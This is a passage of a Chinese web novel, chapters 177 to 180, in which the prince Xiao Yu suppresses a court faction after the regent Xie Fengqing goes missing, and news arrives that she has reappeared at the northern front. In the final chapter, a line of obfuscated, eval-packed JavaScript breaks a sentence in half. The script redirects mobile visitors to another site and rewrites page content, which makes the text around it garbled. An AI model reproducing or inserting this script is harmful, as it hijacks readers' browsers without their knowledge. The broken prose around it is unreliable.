他顿了顿,语气陡然转厉,如同出鞘的寒刃:“生,要见人;死,要见尸。此乃天地至理,亦是人伦纲常! 在摄政王殿下确切下落未明之前,任何妄议身后之事、蓄意扰乱朝纲、动摇国本者,无论其位居何职,声望多高,其心……皆可诛!廷议之事,待七日搜救期满,摄政王殿下安危有了定论,朝廷自有公断。在此期间,凡有再敢以此事聒噪朝堂、窥测神器、兴风作浪者,无论品阶,一律夺职,下诏狱严审,以儆效尤!” 夺职!下诏狱!以儆效尤! 长史倒吸一口凉气,头皮发麻。这已不是简单的申斥或驳回,这是要以监国亲王之权,行雷霆手段,强行弹压!此举无疑会彻底激化与旧党的矛盾,但……看着萧御那冰冷得不带一丝人类情感的眼神,长史将劝谏的话硬生生咽了回去,只能深深一揖,喉头干涩地应道:“是……老臣遵命,即刻拟文。” “兵部侍郎。” “下官在!”兵部侍郎挺直腰板,如同标枪。 “拟两道密令,用兵部加急通道,即刻发出。”萧御的语速加快,带着不容置疑的决断,“其一,发往北境龙武军:主帅刘震,驭下不严,致使副将周莽擅离防区,虽有折返,其过难辞。着罚俸一年,戴罪立功,严束所部。副将周莽,目无军法,擅动兵马,着就地革去一切军职,锁拿进京,交有司论罪!若其本人或麾下有敢抗命不从、滋生事端者,视同谋反,天下共击之,绝不姑息!” “其二,发往西疆镇远侯:侯爷忠勇体国,关切朝局,本王心领。然,国法森严,军纪如山! 无陛下明诏、兵部勘合,边镇节将,不得擅言兵事,更不得以任何理由擅动一兵一卒!着镇远侯恪尽职守,严守关隘,保境安民。朝廷自会全力查明摄政王遇刺真相,严惩元凶。若西疆再有一兵一卒无令异动,或镇远侯再有只言片语不妥之奏章上达天听……”萧御的声音陡然降至冰点,一字一顿,“即视为逆臣贼子,本王当亲提王师,踏平西疆,绝不手软!” 杀气,凛冽如西伯利亚寒流,瞬间席卷整个厅堂!兵部侍郎只觉得一股寒意从尾椎骨直冲头顶,肃然抱拳,声音洪亮:“下官遵令!即刻去办!” “女管事。” “属下在!”女管事上前一步,眼神锐利如刀。 “传我最高指令至江南及各地分会,”萧御看着她,目光中是一种近乎残酷的信任,“凡有纵火、破坏、盗窃、抵制等恶意行为,侵害基金产业者,不必先行报官,不必等待朝廷裁决。授权各地分会主管及护卫统领,动用一切可动用之力量——明处的护卫,暗处的线人,江湖的关系,甚至……必要时,可以其人之道还治其人之身!以牙还牙,以血还血! 基金名下所有明暗力量,全部激活,进入最高戒备。准其先斩后奏,便宜行事!” 他微微前倾身体,声音压得更低,却更重:“本王不要过程,只要结果。七日,我只给你们七日时间。七日之内,必须稳住所有核心产业,恢复正常运转,扑灭所有明火暗流。凡有分会主管、账房管事、护卫头领在此期间擅离职守、营私舞弊、或抗命不尊者……不论缘由,不论功过,诛其满门,以正典刑!” 铁血手段,毫无转圜,不留余地! 女管事眼中非但没有惧色,反而燃起一种决绝的、与敌人同归于尽的寒光,她重重抱拳,声音斩钉截铁:“属下领命!必不负殿下所托!基金在,产业在;产业亡,属下等亦无颜苟活!” 一条条指令,比之下午在断魂崖边仓促下达的命令,更加具体,更加狠辣,更加不留任何温情与妥协的余地。萧御正在用最直接、最霸道、甚至堪称酷烈的方式,在他和谢凤卿共同掌控的朝堂、军队、经济领域,筑起一道由钢铁与鲜血构成的防线,试图以一人之力,强行将这已经开始倾斜、崩塌的巨厦,拖住,稳住,哪怕只是片刻! 最后,他的目光,落在了那位一直沉默伫立、身上绷带渗着血迹的风雪十八骑统领身上。这位铁塔般的汉子,从下午到现在,几乎未曾离开,如同最忠诚的磐石。 “统领。” “末将在!”统领单膝跪地,甲胄发出沉闷的撞击声。 萧御凝视他片刻,然后,极其缓慢、极其郑重地,从自己怀中贴身内袋里,取出了那张被油纸包裹、边缘焦黑、字迹暗红的残破纸条。他俯身,将纸条轻轻放在统领摊开的、布满老茧和血污的掌心。 他的声音压得极低,低到只有近前的统领、长史等寥寥数人能够勉强听清,却带着千钧的重量: “你,亲自去。挑选一队人,必须是绝对忠诚、绝对精锐、最擅长潜行匿踪、侦查反侦查的弟兄。人数要少,五到七人足矣,但要个个都能以一当十,心思缜密。” 他顿了顿,目光如炬,紧紧锁定统领的眼睛:“目标,京郊,老君庙。记住,是秘密侦查,绝不可打草惊蛇。你们的任务,是摸清老君庙周围五里内的所有地形、道路、可能的明哨暗桩、出入口、近期有无频繁人员活动迹象、有无车马停留或大量物资运送的痕迹……任何一点异常,哪怕再微小,都要记录,速速回报。” 他吸了一口气,那眼中燃烧的,是孤注一掷的火焰,是深渊边缘的执念:“记住,这可能是……我们找到王爷下落的,唯一线索,也可能是敌人布下的致命陷阱。不惜一切代价,也要查清虚实。但若事不可为,敌人守卫森严远超预期,或发现有明显诱敌迹象……保全自身,立刻撤回!我要的是确凿的消息和活着的精锐,不是无谓的牺牲和打草惊蛇的鲁莽!” 统领双手捧住那张轻飘飘却又重如泰山的纸条,如同捧着举世无双的珍宝。他能感受到纸条上残留的、属于殿下的体温,更能感受到其背后所承载的、难以想象的希望与危险。他重重叩首,额头触地有声,再抬头时,虎目已微微泛红,但眼神坚定如铁: “末将……领命!定不辱命!” 说罢,他不再有丝毫耽搁,猛地起身,将那纸条仔细贴身藏好,朝着萧御再次抱拳,随即转身,大步流星地走向厅外。沉重的战靴踏在地砖上,发出铿锵的声响,很快,他的身影便没入门外无边的黑暗之中,仿佛被夜色吞噬,去执行那可能决定无数人命运的秘密任务。 厅内,再次陷入了令人窒息的安静。 萧御仿佛被抽走了最后一丝支撑的力气,身形几不可察地晃了一下,终于缓缓地、极其沉重地坐倒在身后那张宽大的紫檀木椅中。椅背冰凉坚硬的触感透过衣物传来,与他背后伤口火辣辣的疼痛形成鲜明对比。他闭上了眼睛,长长的睫毛在苍白的脸上投下淡淡的阴影,指腹无意识地、反复地摩挲着一直紧握在左手掌心的那两样东西——那片绣着金色桃花的玄色衣料,以及那枚湿冷犹存的桃花剑穗。 众人屏住呼吸,连烛火似乎都停止了跳动,不敢打扰这一刻的寂静。空气中弥漫着金疮药味、血腥气、墨香,以及浓得化不开的焦虑与等待。 他在想什么? 是在脑海中一帧帧复盘今日从太庙高台到断魂崖边的每一个惊心动魄的细节,寻找可能被忽略的蛛丝马迹?是在推演朝中旧党、边镇藩王、甚至域外势力接下来可能采取的种种动作,以及自己的应对之策?是在疯狂想象谢凤卿此刻可能的处境——是被囚禁在暗无天日的地牢,忍受酷刑逼供?是被迫进行某种邪恶的交易?还是……在伤病交加中独自挣扎? 抑或,他只是在积蓄力量,将所有的悲痛、愤怒、恐惧、焦虑,都强行压缩进心底最深处,锻造成支撑他继续走下去、战斗下去的、最坚硬的基石与最锋利的武器? 无人知晓。 他们只知道,眼前这位年轻的监国亲王,这位昨日还是大婚典礼上略带紧张的新郎,在一日之间,经历了挚爱“陨落”、朝局崩催、暗敌环伺的剧变后,正在以一种令人心惊、也令人心痛的速度,褪去曾经的温润与隐忍,被迫披上一层冰冷、坚硬、甚至有些酷烈的铁血外衣。 这蜕变,伴随着撕心裂肺的痛楚,伴随着无边黑暗的压迫。 但为了她。 也为了他们共同发誓要守护的、这个她曾倾注了全部心血、如今却摇摇欲坠的帝国。 他别无选择。 时间,在这焦灼得几乎要凝固的寂静中,一分一秒,缓慢而残忍地流淌过去。 烛台上的蜡泪无声堆积、垂落,如同凝固的叹息。 每一分,每一秒,都像是一把钝刀,在每个人紧绷的心弦上,缓慢地、持续地切割着。 距离那张染血残纸上,所预示的、诡秘而致命的 “七日”之期,又悄然逼近了一步。 夜色,愈发深沉。 而那一星微弱得仿佛随时会熄灭的、名为“希望”的烛火,却依旧在无边的黑暗与凛冽的寒风中,倔强地、固执地,摇曳着,不肯熄灭。 第178章我萧御,定将你接回来 雾气浓得像是凝固的乳白色膏体,沉甸甸地压在龙门山的每一个褶皱里。天光被阻隔在外,世界只剩下深浅不一的灰白,和深入骨髓的湿冷。崖边风声呜咽,如同无数冤魂在深渊底部徘徊低泣,永无休止。 萧御盘膝坐在谢凤卿坠落处那块突出的岩石上,已然六天六夜。 玄色的亲王常服早已被露水、泥泞和反复渗出的血迹浸染得看不出原本颜色,紧紧裹在他消瘦得惊人的躯体上。他脸颊凹陷,眼窝深陷,颧骨高耸,皮肤是失血过多的青白,唯有一双布满血丝的眼睛,亮得吓人,死死盯着下方那片翻涌不息、吞噬一切的浓雾,仿佛要将视线化为实质,穿透这千丈阻碍。 他的脊背挺得笔直,像一杆插在绝壁上的锈蚀长枪,伤痕累累,却固执地不肯弯折。背上新换的绷带,又隐隐透出暗红的色泽——那是伤口反复崩裂的结果。但他似乎感觉不到疼痛,所有感官,所有意念,都凝聚在掌心那枚冰冷的、系着桃木剑饰的红色剑穗上。指腹一遍遍摩挲着丝绦粗糙的纹理和桃木温润的边缘,力道大得几乎要将它嵌入骨血。这是他连接那个消失之人的唯一信物,是他在这无尽煎熬中,对抗彻底崩溃的最后浮木。 晨风裹挟着崖底的水汽和彻骨的寒意扑来,他单薄的身躯几不可察地晃了一下,却依旧纹丝不动。 身后的亲卫统领,一个铁塔般的汉子,此刻也眼眶深陷,胡茬杂乱。他第七次上前,声音因连日的嘶喊和疲惫而沙哑破碎,带着不忍:“殿下……第七日了。方圆五十里,每一寸土地,每一处岩缝,每一段河滩,弟兄们都搜遍了……除了那滩血迹和零碎的脚印……再无线索。今日……今日酉时,便是……”他喉头哽住,说不下去。 七日之期。 这是太医院几位国手,根据断魂崖底的水温、高度、以及谢凤卿可能中的“鸠羽”剧毒特性,反复推演后给出的、近乎残忍的结论——若无独门解药及时拔除毒性,七日内,毒性将侵髓腐骨,神仙难救。这不仅仅是医理的判断,更如同一道无形的诅咒,悬在每一个知晓内情者的心头。 同样悬着的,还有帝国命运的临界点。七日,是耐心耗尽的时限,是野心家们撕下伪装、露出獠牙的最后倒计时。朝局如同被绷到极致的弓弦,已发出不堪重负的呻吟,随时可能彻底崩断。 萧御似乎没有听见,又或者听见了却拒绝回应。他只是更紧地攥住了剑穗,指尖青白,手背上的青筋虬结凸起。 沉默,在浓雾和呜咽的风声中蔓延,沉重得令人窒息。 打破这窒息的,是急促到近乎凄厉的马蹄声和嘶鸣,自雾中破空而来! “报——!!!”第一名探子几乎是滚下马背,扑跪在泥泞中,声音带着惊惶,“殿下!京城急报!半个时辰前,以礼亲王萧成璧为首,二十七位宗室遗老,联名上疏!称……称摄政王殿下失踪七日,按《大周祖制·丧仪篇》,已可视为‘大行’!请监国亲王殿下即日主持大朝会,商议……商议立储及还政于宗室之事!奏疏已直送内阁,抄报六部,此刻恐怕已传遍朝野!” “报——!!!”第二名背插三根黑色翎羽(代表边关急报)的传令兵紧随其后,脸色煞白,“西疆八百里加急!戎狄左贤王部,听闻摄政王坠崖生死不明,认为天赐良机,已集结五万铁骑,陈兵落雁谷外,扬言要血洗三关,为三年前北境大败之耻雪恨!边关烽火已起!” “报——!!!”第三名信使气喘吁吁,几乎是爬着上来,“江……江南急件!漕帮旧部三位长老,暗中煽动苏杭两地船工大罢工,扣留北上漕粮船队共计三百余艘!他们提出条件:要求朝廷赦免其昔日‘附逆’(指曾与旧党合作)之罪,恢复漕帮特权,并且……要分割女学基金名下三成运河沿岸码头及仓储资产!” 坏消息!一个比一个急,一个比一个狠!如同三把淬毒的冰锥,从三个方向,同时狠狠扎向帝国最脆弱的命门! 朝堂之上,宗室遗老打着“祖制”旗号,迫不及待要摘取权力果实,逼宫夺位,彻底否定谢凤卿与萧御的一切努力。 边疆告急,宿敌趁火打劫,铁蹄叩关,一旦防线有失,便是生灵涂炭,国门洞开。 经济命脉被扼,漕运停滞,南粮无法北运,不仅影响民生,更会动摇新政推行的物资基础,女学基金的产业也面临赤裸裸的掠夺。 每一道消息,都像一记重锤,砸在萧御本就摇摇欲坠的心防上,也砸在在场每一个人的心头。谢凤卿仅仅“消失”七日,她亲手稳定、构建的一切,便以如此惊人的速度开始崩解、反噬。那些潜伏在阴影中的毒蛇、躲在暗处的豺狼,闻到了权力真空的血腥味,全都迫不及待地要扑上来分食这巨大的帝国遗产。 而那“七日之期”,如同末日审判的钟声,成了所有野心家眼中,可以名正言顺进行瓜分的最后倒计时。 萧御终于缓缓地、极其僵硬地转过头。他的动作很慢,仿佛每转动一度,都要耗费巨大的力气。目光从那片吞噬了谢凤卿的浓雾深渊移开,缓缓扫过跪在面前、满脸悲愤与绝望的信使们,最后,投向浓雾深处、依稀可见的京城方向。那里,皇城的轮廓在晨曦与雾气中若隐若现,如同蛰伏的巨兽。 他眼底最后一丝属于“萧御”这个人的温度——那些深藏的柔情、隐忍的悲伤、乃至绝望的痛苦——仿佛在这一瞬间,彻底熄灭了。取而代之的,是一种冰封万里、深不见底的寒潭,潭底却燃烧着幽暗的、足以焚毁一切的冥火。 “礼亲王,萧成璧……”他低声念着这个名字,声音嘶哑干涩,却淬着砭骨的杀意,每一个音节都像是从齿缝间磨出来的冰碴,“戎狄左贤王……漕帮余孽……” 他顿了顿,嘴角极其缓慢地、向上扯动了一下,形成一个没有任何温度、甚至有些扭曲的弧度,那不是笑,是猛兽在发动致命一击前,露出獠牙的森然。 “他们是不是以为,”他的声音依旧不高,却清晰地穿透雾气,带着一种令人心悸的平静,“凤卿不在了,这锦绣江山,这亿兆黎民,这她呕心沥血想要改变的天下……就可以任由他们,像分食腐肉一样,肆意瓜分了?” 无人敢应。亲卫统领和信使们都深深垂下头,只觉得一股寒气从脚底直冲天灵盖。 萧御扶着岩石,缓缓站起身。背后的伤口因为动作牵拉,传来撕裂般的剧痛,绷带下的湿意更重了。但他恍若未觉,站得笔直,像一柄即将出鞘、饮血方归的魔刀。 他抬眼,再次望向京城方向,那目光锐利如鹰隼,仿佛要刺破重重迷雾,直抵金銮殿上那些魑魅魍魉的心脏。 “传令。”他开口,声音不大,却带着不容置疑的、仿佛金铁交鸣般的决断,“回京。今日辰时正点,本王亲临太极殿,主持大朝会。” 他顿了顿,补充道,每一个字都冰冷如铁,砸在地上仿佛能溅起火星:“让礼亲王萧成璧,让所有联名上疏、暗中串联的宗室遗老,让那些这几日上蹿下跳、自以为是的官员……一个都不许少,全部到场。告病的,抬也要抬来。缺席者,以谋逆同党论处,九族连坐。” “殿下!您的伤……”亲卫统领骇然抬头,看着萧御背上愈发明显的血迹,急声道。 “死不了。”萧御打断他,那扯起的嘴角弧度未变,眼神却空洞得可怕,“在找到凤卿之前,在杀光所有害她、伤她、背叛她的人以前……本王,怎能死?” 他最后看了一眼脚下翻涌的、仿佛通往幽冥的雾气。七日搜寻,希望如同指间的流沙,一点点漏尽,只剩下无尽的绝望和那如同毒刺般扎在心口的疑团——那滩来历不明的血迹,那句“崖下接应、死活都要”的残破指令。这一切,都指向一个比单纯死亡更可怕、更阴暗的阴谋。 “凤卿,”他对着虚空,用只有自己能听到的、近乎呢喃的声音低语,那声音里承载了太多无法言说的痛苦、眷恋与疯狂,“若你真的已遭不测,魂归天地……我便让这万里江山,让这满朝朱紫,让这负了你的天下……统统为你殉葬,烧个干净。” 他闭上眼,复又睁开,眼底只剩下孤注一掷的决绝:“若你尚在人间,哪怕只剩一缕残魂,困于九幽之下……无论要踏碎多少山河,颠覆多少伦常,付出何等代价,流尽多少鲜血——我萧御,定将你接回来。” 话音落,他决然转身,不再看那悬崖一眼。玄色的身影融入浓雾,步伐稳定得不像一个重伤濒危之人,更像一个从地狱爬回、索命而来的修罗。 第179章接应地点,正是京郊老君庙! 辰时初,太极殿。 往日庄严肃穆、象征着帝国至高权力中心的大殿,今日弥漫着一股诡异而压抑的躁动。空气粘稠得仿佛能拧出水,巨大的蟠龙金柱沉默矗立,却似乎也感受到了这山雨欲来的不安。 文武百官依品阶分列两侧,人人面色凝重,眼神闪烁,彼此间交换着心照不宣或惶恐不安的目光。窃窃私语如同潮水下的暗流,在宽敞的大殿内低低涌动。 左侧前方,以须发皆白、手持先帝御赐鸠杖的礼亲王萧成璧为首,**了一大批宗室遗老和部分面孔陌生、眼神却透着精明与贪婪的官员。他们大多衣着华贵,神色矜持,但眉眼间难以掩饰那种即将攫取权力的兴奋与期待。萧成璧更是抚着鸠杖,微微眯着眼,一副老神在在、胜券在握的模样。他们身后,是更多观望的墙头草,等待着局势的明朗。 右侧,以户部尚书、兵部侍郎等谢凤卿提拔的新党中坚为首,簇拥着部分立场坚定的军方将领。他们的脸色则沉凝如水,眼神中交织着焦虑、愤怒与深深的无力。不时有人将目光投向御阶之侧——那里,属于摄政王的鎏金凤纹宝座空置着,冰冷而刺眼。而宝座旁,那个孤零零站立的身影,更让他们心头沉重。 萧御已换上了一身崭新的亲王冕服,玄衣纁裳,九旒垂落,试图以最正式的仪容来支撑这危如累卵的局面。然而,再华贵的服饰也掩不住他形销骨立的憔悴,眼底浓重的青黑和深陷的眼窝,是连日煎熬最直接的刻印。他独自立于御阶之上,监国亲王的身份赋予了他这个位置,但此刻,身前是空悬的龙椅,身后是空置的凤座,巨大的空旷感与孤立感如同无形的枷锁,沉甸甸地压在他的肩上。他背脊挺得笔直,如同一杆插在风暴中心的标枪,沉默地承受着四面八方投来的、含义各异的目光。 “时辰到——!”司礼太监尖细的嗓音划破殿内的低语。 萧御深吸一口气,压下喉头翻涌的血腥味和背后的剧痛,目光如寒冰般扫过下方。 “监国亲王殿下,”礼亲王萧成璧几乎是踩着尾音,率先出列。他声音洪亮,拖着长腔,带着一种长辈教诲晚辈、又隐含咄咄逼人的姿态,“摄政王殿下为社稷罹难,坠崖失踪,至今已整整七日。老臣等与举国上下一样,悲痛万分,日夜祈祷殿下能逢凶化吉。” 他顿了顿,话锋一转,语气变得“沉痛”而“恳切”:“然,国不可一日无主,储位空悬,更易引发朝野动荡,给内外宵小以可乘之机啊!今日已是第七日,按祖宗成法、礼制典章,当议立储君,以定国本,以安天下臣民之心。老臣等二十七人联名所请,句句出自公心,字字皆为社稷,望殿下明鉴,以江山为重,早定大计,莫要再犹豫拖延了!” 一番话,冠冕堂皇,占据大义名分,将逼宫**包装成忧国忧民的“忠言”。 “臣附议!”立刻有宗室党羽出列高喊,“摄政王殿下芳踪杳然,实乃天妒英才,臣等同样悲痛!然国事为重,储位关乎国祚,岂能因一人而长久空悬?当速立年长贤德之宗室子弟,以稳定朝野,杜绝觊觎之心!” “是啊殿下!礼亲王所言乃老成谋国之道!” “请殿下速断!” 附和之声渐起,多是宗室及其党羽,一些中间派官员也开始目光闪烁,窃窃私语。新党官员们面现怒色,想要出列驳斥,却见御阶之上的萧御抬起了手。 那是一个简单的动作,却带着无形的威压。大殿瞬间安静下来。 萧御的目光缓缓扫过下方一张张或急切、或伪善、或忐忑、或愤怒的脸,最后定格在萧成璧那张看似恳切、实则眼底藏着得意的老脸上。他的声音不高,甚至有些沙哑,却清晰地传入每个人的耳中,带着一种冰冷的穿透力: “礼亲王,及诸位方才慷慨陈词的宗亲、大臣,”他缓缓开口,一字一句,如同冰珠子砸在光洁的金砖地上,“你们口口声声祖宗成法,言必称社稷为重,心念念江山稳固。” 他向前迈了一步,走下御阶,步伐很稳,却让萧成璧心头莫名一跳。 “那本王倒要请教,”萧御停在萧成璧面前三步之处,目光如两柄淬毒的**,直刺对方眼底,“我大周祖训,可曾教过你们,在主君生死未卜、下落不明之际,不思倾举国之力搜寻救援,反迫不及待**朝堂,逼问储位,行那等无异于催命逼宫之举?!” 最后一句,陡然拔高,如同惊雷炸响! 萧成璧脸色一僵,但久经官场,立刻反驳:“殿下此言差矣!绝非逼宫,乃是议政!七日之期已过,希望何其渺茫?我等身为宗亲,受国之恩禄,岂能坐视国本动摇?不得不为江山长远计啊!” “希望渺茫?”萧御嗤笑一声,那笑声里没有半点温度,只有无尽的讽刺与寒意,“礼亲王,你如何断定希望渺茫?是你亲眼见到了摄政王的尸身?还是你……亲自验看了断魂崖底的每一寸土地,确认她绝无生还可能?” 他微微倾身,声音压得更低,却更锐利,如同毒蛇吐信:“亦或是,你本就知晓些什么……知道她,不可能再回来了?” 最后一句,轻飘飘的,却像一道无形的闪电,劈中了萧成璧! 老亲王脸上的皱纹猛地抽搐了一下,眼底闪过一丝极快的心虚与慌乱,虽然立刻被他强自镇定的怒容掩盖:“殿下何出此诛心之言?!老臣……老臣只是依常理推断!七日搜救无果,生还希望自然渺茫!殿下岂可因私废公,因一己情愫,而置祖宗江山于不顾?!” “依常理推断?”萧御猛地直起身,不再看他,转而面向满朝文武,声音陡然拔高,如同金戈交鸣,带着压抑了七日七夜的雷霆之怒,轰然炸响在整个大殿! “那本王今日,也来依常理推断一番!大婚之日,太庙重地,禁卫森严,为何能有百余死士混入观礼人群?九丈高台,工部监造,为何关键支撑会在关键时刻 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萧成璧脸色先是一白,随即涨红,仿佛受到了天大的侮辱,鸠杖重重顿地,发出沉闷的响声,须发皆张:“萧御!你休要血口喷人!无凭无据,仅凭一张不知从何而来的破纸,就想污蔑宗亲清誉,构陷忠良?!你如此拖延立储,百般阻挠,莫非是想挟监国之位,行那不臣之事,觊觎大宝不成?!” 他直接倒打一耙,将“谋逆”的帽子反扣回去,试图搅浑水。 “证据?”萧御不再看他,目光冷冽如冰,扫向殿门之外,“本王自然有证据!带上来!” 殿门轰然洞开!凛冽的晨风灌入,带着一股血腥与肃杀之气! 数名浑身肃杀、甲胄染尘的风雪十八骑精锐,押解着几名伤痕累累、气息奄奄的黑衣人,步入大殿。为首一人,虽然满脸血污,但那双阴鸷的眼睛和特有的气质,让当日参与断魂崖搜救的一些将领瞬间认出——正是那日指挥“影鸦”死士撤退的头目之一! 铁链拖地的刺耳声响,如同敲击在每个人的心鼓上。 “此人,‘影鸦’余孽头目,已被擒获。”萧御的声音冷彻骨髓,字字如刀,“他已招供,大婚刺杀、断魂崖布局,均受宫中某位‘贵人’指使,接应地点,正是京郊老君庙!” 他目光猛地刺向萧成璧,如同盯着猎物的鹰隼:“巧得很,礼亲王,你府上一位颇得信任的外院管事,他的妻弟,似乎正是这老君庙的庙祝?掌管庙产,出入自由。需要本王传他上殿,与这位‘影鸦’头目,当面对质吗?!” “你……你血口喷人!严刑逼供!构陷宗亲!诸公!诸公都看到了吗?萧御为了独揽大权,阻止立储,竟使出如此下作手段!先帝啊!您在天之灵睁开眼看看啊!这就是您选定的监国亲王!这就是我萧氏子孙!”萧成璧仿佛被踩了尾巴的猫,彻底撕下了伪善面具,捶胸顿足,老泪纵横,试图以悲情和宗室身份博取同情,混淆视听。 第180章这……这怎么可能 这一招果然有效。部分原本就同情宗室或立场摇摆的官员,脸上露出了疑虑之色。毕竟,严刑逼供屈打成招,在历朝历代都不是新鲜事。仅凭一个死士头目的口供和些许关联,确实难以定一位资深亲王的罪。大殿内的气氛再次变得微妙而紧张,怀疑的目光开始在萧御身上汇聚。 萧御面色冰寒,正要继续施压。 就在这千钧一发、双方僵持不下之际—— “报——!!!!!” 殿外,一声凄厉到变了调的惊呼,夹杂着兵刃出鞘的铿锵锐响,猛地撕裂了大殿内凝重的空气! 一名浑身浴血、穿着宫中侍卫服饰的军官,连滚爬爬、几乎是摔进了大殿!他盔甲歪斜,脸上沾满烟灰血污,神情惊恐万状,仿佛见到了世间最可怕的景象! “殿……殿下!不好了!京郊老君庙……老君庙……”他声音嘶哑,因极度的恐惧和急促而语无伦次,“燃起大火!火光冲天!我们的人接到密报赶去时……庙宇已烧毁大半!在……在庙后地下,发现了一处隐秘的密室入口!” 他喘着粗气,脸上肌肉扭曲:“密室里面……里面全是尸体!横七竖八,至少十几具!都烧得焦黑难辨了!还有……还有明显的打斗痕迹,血迹……到处都是!我们在现场……找到了……找到了这个!” 军官颤抖着,用沾满黑灰血污的手,高高举起一物! 那是一支女子所用的金簪!簪身打造精美,镶嵌着一颗光华内敛的东珠,而簪头,赫然雕刻着栩栩如生、含苞待放的桃花图案!簪尾似乎因高温而有些微变形,尖端还沾染着已然发黑、凝结的血迹! 殿内识货之人倒吸一口凉气——这枚桃花东珠金簪,分明是摄政王谢凤卿在大婚典礼上,佩戴于发间的首饰之一!当日高台之上,光华夺目,许多人都曾见过! “轰——!” 如同滚油泼入冰水,大殿瞬间炸开了锅!惊呼声、抽气声、难以置信的议论声轰然响起! 萧御瞳孔骤然收缩成针尖!他一步跨下御阶,几乎是抢过了那枚金簪!触手冰凉,带着烟熏火燎的气息,尖端那抹暗红的血迹,刺痛了他的眼睛!没错!是她的东西!他记得清清楚楚,大婚那日,她云鬓间点缀的几支簪子中,就有一支这样的桃花东珠簪! “可……可有见到摄政王殿下?!”萧御的声音控制不住地颤抖起来,握着金簪的手指关节捏得发白,心脏像是被一只无形的手紧紧攥住,几乎无法呼吸!难道……难道最坏的结果发生了?凤卿她真的……已经遭遇不测?甚至尸骨都…… 军官猛地摇头,脸上恐惧更甚:“密……密室烧得太厉害,尸身大多焦黑蜷缩,根本无法辨认!但是……但是……”他咽了口唾沫,仿佛用尽了全身力气,才吐出后面的话,“在密室唯一完好的出口附近,地面上……有用血写下的几个字!字迹歪斜,但能认出是……” 他顿了一下,闭上眼,嘶声喊出:“是‘萧成璧,弑君’!五个字!” “萧成璧,弑君”! 五个血字,如同五道惊世雷霆,狠狠劈在了太极殿的金砖之上,劈在了每一个人的心头! “轰——!” 比刚才更甚十倍的哗然与震撼,席卷了整个朝堂!所有目光,如同利箭般,齐刷刷射向面无人色、几乎瘫软在地的礼亲王萧成璧!惊骇、怀疑、鄙夷、恐惧……种种情绪,交织成一张巨大的网,将他牢牢笼罩! 物证(金簪)、人证(影鸦头目)、关联(老君庙庙祝)、现场血字指认!一条看似完整的证据链,在此刻,以如此戏剧性、如此骇人的方式,被拼凑了起来! “不——!不是我!是陷害!是萧御!是他陷害我!他伪造现场!他**灭口!他想除掉我,独揽大权!”萧成璧如同被踩中尾巴的毒蛇,猛地弹跳起来,指着萧御,目眦尽裂,声嘶力竭地尖叫,唾沫横飞,状若疯魔,全然失去了亲王仪态,“诸公!不要相信他!他是魔鬼!他想毁了萧氏江山!先帝啊!列祖列宗啊!你们开开眼啊!” 然而,他的辩白在此刻显得如此苍白无力。那枚染血的金簪,那密室焦尸,那触目惊心的血字,结合之前的残破指令和影鸦头目供词,指向性太强了!强烈的视觉冲击和逻辑串联,让绝大多数人内心已然偏向了那个可怕的结论——礼亲王萧成璧,就是弑君谋逆、害死摄政王的元凶! 萧御握着那枚冰凉刺骨、沾染爱人之血的金簪,只觉得一股寒气从脚底直冲头顶,四肢百骸都在瞬间冻僵!巨大的悲痛、无边的愤怒、还有那灭顶般的绝望,如同黑色的潮水,瞬间淹没了他!连日来的强撑、搜救的渺茫、朝局的压力、此刻“确凿”的“死讯”……所有情绪交织爆发,几乎要将他最后一丝理智撕碎! 凤卿……真的……已经……不在了?甚至……尸骨无存?死在萧成璧这个老贼安排的密室之中?! 这个认知,如同最恶毒的诅咒,啃噬着他的灵魂。他眼前发黑,身形几不可察地晃了一下,一口腥甜涌上喉头,又被他死死咽下。那支撑着他的、名为“希望”的支柱,仿佛在这一刻,轰然崩塌。 然而,就在这最混乱、最绝望、所有人的认知和情绪都被推向巅峰、萧成璧疯狂反咬、萧御濒临崩溃、整个朝堂如同沸鼎的刹那—— “报——!!!!!!!!!” 一声比之前所有急报都要高亢、都要凄厉、几乎撕裂所有人耳膜的嘶吼,如同九天之上劈下的最后一道、也是最震撼的一道狂雷,以无可阻挡之势,悍然炸响在太极殿外,随即穿透洞开的殿门,狠狠砸进了每一个人的心湖最深处! 一名背插三根赤红如血翎羽(代表最紧急、最优先军情)的传令兵,以近乎燃烧生命的速度狂奔入殿!他甚至来不及行礼,来不及调整呼吸,脸上混合着长途奔驰的疲惫、难以置 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17089089|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信的激动、以及一种见证神迹般的狂热,用尽全身力气,嘶声竭力地吼道,声音响彻穹顶,回荡不息: “北境!!!八百里加急!!!镇北军主帅亲笔军报加急呈送!!!!两个时辰前!!!摄政王殿下——现身北境雁门关!!!手持完整虎符,亲临帅帐,调动北境三军!!!现已击溃犯境戎狄左贤王部先锋万人,阵斩敌酋!!!戎狄溃退百里!!!雁门关危局已解!!!主帅奏报:殿下凤体安然,威仪更胜往昔!!!军情在此,印信为凭!!!” 死寂。 绝对的、如同真空般的死寂。 仿佛有一只无形的巨手,猛地扼住了所有人的喉咙,抽干了殿内所有的空气。 时间,空间,思维,全部凝固。 所有人,包括双目赤红、几欲癫狂的萧成璧,包括握着金簪、如坠冰窟的萧御,包括满朝目瞪口呆、表情僵在脸上的文武百官,全都如同被施了最顶级的定身咒,僵在原地,一动不动。 耳朵里还在嗡嗡作响,回荡着那石破天惊的话语: 摄政王……现身北境雁门关? 手持完整虎符? 亲临帅帐,调动三军? 击溃戎狄万人先锋,阵斩敌酋? ……凤体安然,威仪更胜往昔? 这……这怎么可能?! 她不是坠入万丈深渊,生死不明吗?!不是刚刚还被“证实”可能已惨死老君庙密室吗?!怎么会突然出现在千里之外的北境边关?!还在指挥打仗,打了胜仗?!虎符不是丢了吗?怎么又有了?还“完整”?! 巨大的信息落差,极致的荒谬感,彻底冲垮了所有人的认知藩篱!一时间,无人能反应过来,无人能消化这翻天覆地的消息! 萧御是第一个从这近乎凝固的僵直中挣脱出来的。 